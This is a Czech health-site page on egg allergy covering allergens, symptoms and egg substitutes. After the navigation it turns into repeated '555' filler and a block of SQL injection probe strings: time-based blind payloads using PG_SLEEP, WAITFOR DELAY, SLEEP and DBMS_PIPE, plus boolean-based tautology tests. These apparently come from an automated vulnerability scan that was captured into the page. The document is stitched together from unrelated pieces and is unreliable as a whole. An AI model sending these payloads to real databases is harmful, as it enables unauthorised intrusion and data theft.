patří mezi častější potravinové alergie, často bývá přítomna společně s alergií na mléko. Podobně jako ona má tendenci vyhasínat a mizet, a to do cca 3. roku života. Může se však poprvé objevit i u dospělých osob. Je důležité zmínit, že alergeny se nevyskytují jen ve slepičích vejcích, ale ve všech druzích vajec. Je také dobré vědět, že osoby alergické na peří a výměšky ptáků se mohou potýkat po určitou dobu i s alergií na vejce.
Hlavními alergeny bílku jsou ovalbumin, ovomukoid a ovotransferin. Příznaky se objevují po přímém požití vejce – vaječných pokrmů, u některých jedinců je ale nutné vyhnout se i pokrmům, kde bylo vejce použito jako vedlejší surovina – koláče, těstoviny aj. Vaječný bílek např. v cukrářských výrobcích lze nahradit – kypřicím práškem, droždím, bramborovým či kukuřičným škrobem, vajahitem aj.
Existuje i alergie na vaječný žloutek, ale zde jsou alergeny odstraněny tepelnou úpravou. Žloutek tak ztrácí svou alergizující schopnost a nečiní žádné obtíže.
Příznaky bývají podobné jako u ostatních potravinových alergií a maximem potíží v trávicím traktu – zvracení, průjmy, bolesti břicha, vyskytuje se také vyrážka, otoky, dýchací obtíže – rýma, dušnost, otoky jazyk, hrtanu, průdušnice.
I když alergie na vejce má za následek určitá omezení, nemusí být strava jednotvárná. Nabízíme vám mnoho různých vhodných receptů, z kterých si snadno sestavíte svůj vlastní jídelníček.
Zpět na hlavní článek Potravinové alergie.
Potravinové alergie
|
• Celiakie |
|
|
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@Jl99E
1%2527%2522
1'"
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
6yy4qw6P')) OR 971=(SELECT 971 FROM PG_SLEEP(15))--
cchBXjr3') OR 576=(SELECT 576 FROM PG_SLEEP(15))--
84xEzOgu' OR 585=(SELECT 585 FROM PG_SLEEP(15))--
-1)) OR 118=(SELECT 118 FROM PG_SLEEP(15))--
-5) OR 488=(SELECT 488 FROM PG_SLEEP(15))--
-5 OR 608=(SELECT 608 FROM PG_SLEEP(15))--
HyNbz2zA'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1" OR 3*2>(0+5+247-247) --
-1" OR 3*2<(0+5+247-247) --
-1" OR 3+247-247-1=0+0+0+1 --
-1" OR 2+247-247-1=0+0+0+1 --
-1' OR 3*2>(0+5+723-723) or 'VMELa1i7'='
-1' OR 3*2<(0+5+723-723) or 'VMELa1i7'='
-1' OR 3+723-723-1=0+0+0+1 or 'VMELa1i7'='
-1' OR 2+723-723-1=0+0+0+1 or 'VMELa1i7'='
-1' OR 3*2>(0+5+662-662) --
-1' OR 3*2<(0+5+662-662) --
-1' OR 3+662-662-1=0+0+0+1 --
-1' OR 2+662-662-1=0+0+0+1 --
-1 OR 3*2>(0+5+796-796)
-1 OR 3*2<(0+5+796-796)
-1 OR 3+796-796-1=0+0+0+1
-1 OR 2+796-796-1=0+0+0+1
-1 OR 3*2>(0+5+654-654) --
-1 OR 3*2<(0+5+654-654) --
-1 OR 3+654-654-1=0+0+0+1 --
-1 OR 2+654-654-1=0+0+0+1 --
555
555
555
555
555